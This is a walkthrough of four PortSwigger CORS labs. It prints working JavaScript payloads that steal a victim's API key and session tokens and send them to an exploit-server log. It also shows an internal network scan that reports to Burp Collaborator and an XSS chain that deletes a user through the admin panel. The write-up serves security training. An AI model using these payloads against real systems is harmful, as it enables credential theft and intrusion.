5 min to read
Cross-origin resource sharing Vulnerabilities
PortSwigger Writeup.
Note
I’ll explain what Cross-origin resource sharing is, describe how vulnerabilities can be detected and exploited.
What is Cross-origin resource sharing ?
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain based attacks, if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).
Lab: CORS vulnerability with basic origin reflection
Intercept the request after login to the lab with credentials
send the request to the repeater
to test CORS we will add
origin: H3X0S3.com
fine there is a CORS bug let’s try to exploit it to gain API Key of the victim.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://accb1fa91e91474980317e0f00650079.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
to exploit the bug go to exploit the server in Body: put the code of exploitation and store it then deliver exploit to the victim then access log
decode it
"GET /log?key={ "username": "administrator", "email": "", "apikey":"7nA1VcyXtReSvhq6jgiUpoavFkagFoYx", "sessions": [ "wPVZ8dWDpUjpjInTmyry7suNvonCxJlv" ]} HTTP/1.1" 200 "User-Agent: Chrome/495672"
Labe Solved
Lab: CORS vulnerability with trusted null origin
Intercept the request after login to lab with credentials. Steps send the request to the repeater to test CORS we will add ` origin: H3X0S3.com`
we get 500 Internal Server Error ok.
Let’s try
Origin: null
the “null” origin is reflected in the Access-Control-Allow-Origin header, so to exploit this bug we need to generate a null origin request so we will use an iframe sandbox.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://ac2a1f601e8f3543806a2278000d00bf.web-security-academy.net//accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-aca81f7b1eb4351d80cd22c901ca00b0.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
go to exploit server, in Body: put the code of exploitation and store it view the exploit
Delever exploit to victim. Access log and search about the key
let’s decode it
/log?key={
"username": "wiener",
"email": "",
"apikey": "wCOeetn12uCexWQylzhQXy5Y1dV2elvs",
"sessions": [
"UJsJdrc0JeCEeF6P4IcHI80Gbfq6YFIZ"
]
}
Labe Solved
Lab: CORS vulnerability with trusted insecure protocols
After login to the lab and intercept the request then send it to the repeater
lets to inject
origin: H3X0S3.com
we get 500 Internal Server Error
origin: null
we get 500 Internal Server Error. Now we need to try to inject with a subdomain but before injecting with subdomain we should find a bug on the subdomain to allow us to inject JavaScript code.
let’s open any product and check the productid
stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=1&storeId=1 ok it is a subdomain stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=1&storeId=1
let’s go to exploit server
<script>
document.location="http://stock.ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/?productId=2<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ac6d1f111e6b213580242fdb00b9006b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-aca21fea1ed2219780872f2801c100a0.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
in Body: put the code of exploitation and store it view the exploit Delever exploit to victim. Access log and search about the key
let’s decode it
/log?key={ "username": "wiener", "email": "", "apikey": "otqfh3jTIGqErn4I8ib7VuCUlKysIHsM", "sessions": [ "rN2NxUM9pl5Pv8V0Eai8TZAPjjuVwN0s" ]}
we can do this attack withot injection js code but we need to do MIM attack to redirect the victime to
Labe Solved
Lab: CORS vulnerability with internal network pivot attack
After access the lab if we try to log in with any username and password we get
"Internal Server Error"
.
Try to inject
origin: H3X0S3.com
origin: null
origin: subdomain.ac391f1e1e70e8b780907729007f003c.web-security-academy.net
there are no reflection headers on the response
ok
let’s try to scan the local network & now the local IP with 8080 port.
we will use burp collaborator to recive the respone.
<script>
var q = [], collaboratorURL = 'http://lc11qok361osfo0bxxpud7zfz65wtl.burpcollaborator.net';
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
Put the code on the exploit server then store it and deliver exploit to victim see our burp collaborator
we get the privet IP
192.168.0.250:8080
we will use the 192.168.0.250:8080 as a proxy to find a xss on intern network and recive the response on burpcollaborator [blind ssrf].
Now we try to know the username
clean the code from body and put this code
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><img src='+collaboratorURL+'?H3X0S3forXSS=0>');
}
))
}
fetchUrl("http://192.168.0.89:8080", "http://0klpcpmyumttuob8cbetz6ptkkqbe0.burpcollaborator.net");
</script>
And repeat the steps
Repeat the steps
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("http://192.168.0.89:8080", "http://0klpcpmyumttuob8cbetz6ptkkqbe0.burpcollaborator.net");
</script>
Look at the Reuest to Burp Collaborator
/?code=
%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22%2Fresources%2Flabheader%2Fjs%2FlabHeader.js%22%3E%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20QdTRdgpZPWmPsBCi3SlvihRfoLIctsgZf%0A%20%20%20%20%20%20%20%20%3Cdiv%20theme%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22maincontainer%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22container%20is-page%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22navigation-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Csection%20class%3D%22top-links%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2F%22%3EHome%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2Fadmin%22%3EAdmin%20panel%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%2Fmy-account%3Fid%3Dadministrator%22%3EMy%20account%3C%2Fa%3E%3Cp%3E%7C%3C%2Fp%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cheader%20class%3D%22notification-header%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fheader%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cform%20style%3D%22margin-top%3A%201em%22%20class%3D%22login-form%22%20action%3D%22%2Fadmin%2Fdelete%22%20method%3D%22POST%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%3D%22%22%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22QYBsD7rpsx1BKrnkIAeHSwmcSxOhzfjV%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Clabel%3EUsername%3C%2Flabel%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%3D%22%22%20type%3D%22text%22%20name%3D%22username%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class%3D%22button%22%20type%3D%22submit%22%3EDelete%20user%3C%2Fbutton%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fform%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fsection%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%0A%0A
let’s decode it
<script src="/resources/labheader/js/labHeader.js"></script>
QdTRdgpZPWmPsBCi3SlvihRfoLIctsgZf
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href="/">Home</a><p>|</p>
<a href="/admin">Admin panel</a><p>|</p>
<a href="/my-account?id=administrator">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
<input required="" type="hidden" name="csrf" value="QYBsD7rpsx1BKrnkIAeHSwmcSxOhzfjV">
<label>Username</label>
<input required="" type="text" name="username">
<button class="button" type="submit">Delete user</button>
</form>
</div>
</section>
</div>
If you look there is a button to delete user
Now we need to delete carlos by injecting an iframe pointing to the /admin page
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("http://192.168.0.89:8080", "http://0klpcpmyumttuob8cbetz6ptkkqbe0.burpcollaborator.net");
</script>
After press deliver exploit victim. done carlose user is deleted
Lab solved
Comments